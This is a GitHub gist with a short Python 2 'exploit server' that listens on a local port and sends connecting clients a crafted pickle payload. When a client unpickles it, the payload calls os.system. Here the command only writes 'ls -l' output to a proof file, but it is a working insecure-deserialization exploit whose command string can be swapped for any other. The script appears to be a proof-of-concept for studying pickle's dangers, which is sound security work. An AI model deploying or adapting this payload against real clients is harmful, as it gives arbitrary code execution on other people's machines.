Skip to content

Instantly share code, notes, and snippets.

@tejastank
Created November 6, 2012 06:38
Show Gist options
  • Save tejastank/4023053 to your computer and use it in GitHub Desktop.
Save tejastank/4023053 to your computer and use it in GitHub Desktop.
Python Exploit Server
# -*- coding: utf-8 -*-
#!/usr/bin/env python
import socket
import cPickle
class ExploitServer():
def run(self):
HOST = '127.0.0.1'
PORT = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
print "*** Ready for connections on %s:%s..." % (HOST, PORT)
while True:
conn, addr = s.accept()
msg = """cos\nsystem\n(S'ls -l > proof_of_exploit.txt'\ntR."""
print "[+] Sending payload to %s!" % addr[0]
conn.sendall('%8d%s%s' % (len(msg), "0", msg))
conn.close()
try:
if __name__ == "__main__":
ExploitServer().run()
except KeyboardInterrupt:
print 'Shutting Down...'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment